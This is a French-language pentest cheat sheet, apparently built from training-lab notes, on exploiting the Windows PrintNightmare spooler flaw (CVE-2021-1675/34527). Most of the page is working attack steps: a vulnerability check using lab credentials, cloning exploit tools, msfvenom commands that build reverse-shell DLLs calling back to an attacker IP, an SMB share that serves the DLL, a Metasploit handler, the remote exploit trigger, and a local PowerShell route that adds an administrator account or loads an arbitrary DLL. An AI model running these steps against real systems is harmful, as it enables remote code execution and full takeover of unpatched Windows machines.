Skip to content

PrintNightmare (CVE 2021 1675)

CVE CVE-2021-34527 et CVE-2021-1675
Correctif fixant la vulnérabilité CU 2021-06 et 2021-07

Eléments nécessaires à l'exploitation

  • Machine non patchée
  • Spooler d'impression démarré (par défaut toutes les machines)

Vérification

cme smb targets.txt -d INLANEFREIGHT.LOCAL -u 'ssmalls' -p 'Password123!'  -M printnightmare
[*] Windows 10.0 Build 17763 x64 (name:ACADEMY-AEN-DEV) (domain:INLANEFREIGHT.LOCAL) (signing:False) (SMBv1:False)
[+] INLANEFREIGHT.LOCAL\ssmalls:Password123! 
Vulnerable, next step https://github.com/ly4k/PrintNightmare

Exploitation

A distance

Installation de l'outil

git clone https://github.com/cube0x0/CVE-2021-1675.git

## Nécessite une version modifiée d'impacket
pip3 uninstall impacket # désinstallation d'impacket
git clone https://github.com/cube0x0/impacket # installation de la version modifiée
cd impacket
python3 ./setup.py install

Vérification de la disponibilité du spooler

rpcdump.py @$TARGET_IP | egrep 'MS-RPRN|MS-PAR'

Exécution de l'attaque

# Creation d'un reverse shell au format DLL
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.225 LPORT=8080 -f dll > backupscript.dll
msfvenom -p windows/shell_reverse_tcp LHOST=10.172.16.5.225 LPORT=443 -f dll > shell.dll
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACK_IP LPORT=1234 -f dll > bad.dll
# Partage de la dll
sudo 
smbserver.py -smb2support CompData  . &

# Exécution du multi handler depuis msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST ATTACK_IP
set LPORT 1234
run

# Déclenchement de l'exploit
sudo python3 CVE-2021-1675.py domain.local/$AD_USER:$AD_PASSWORD@$TARGET_IP '\\ATTACK_IP\ShareName\bad.dll'

Localement

On pourra utiliser ce POC qui s'appuie sur powershell : https://github.com/calebstewart/CVE-2021-1675

Vérification de la disponibilité du spooler

ls \\localhost\pipe\spoolss


    Directory: \\localhost\pipe


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
                                                  spoolss

Exécution de l'attaque

https://github.com/cube0x0/CVE-2021-1675

Chargement du module

Set-ExecutionPolicy Bypass -Scope Process

Import-Module .\cve-2021-1675.ps1

Création d'un compte administrateur local

# Add a new user to the local administrators group by default:
Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default
Invoke-Nightmare -DriverName "Xerox" -NewUser "john" -NewPassword "SuperSecure" 

Chargement d'une DLL de notre choix (reverse shell par exemple)

Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"

Vérification

net user hacker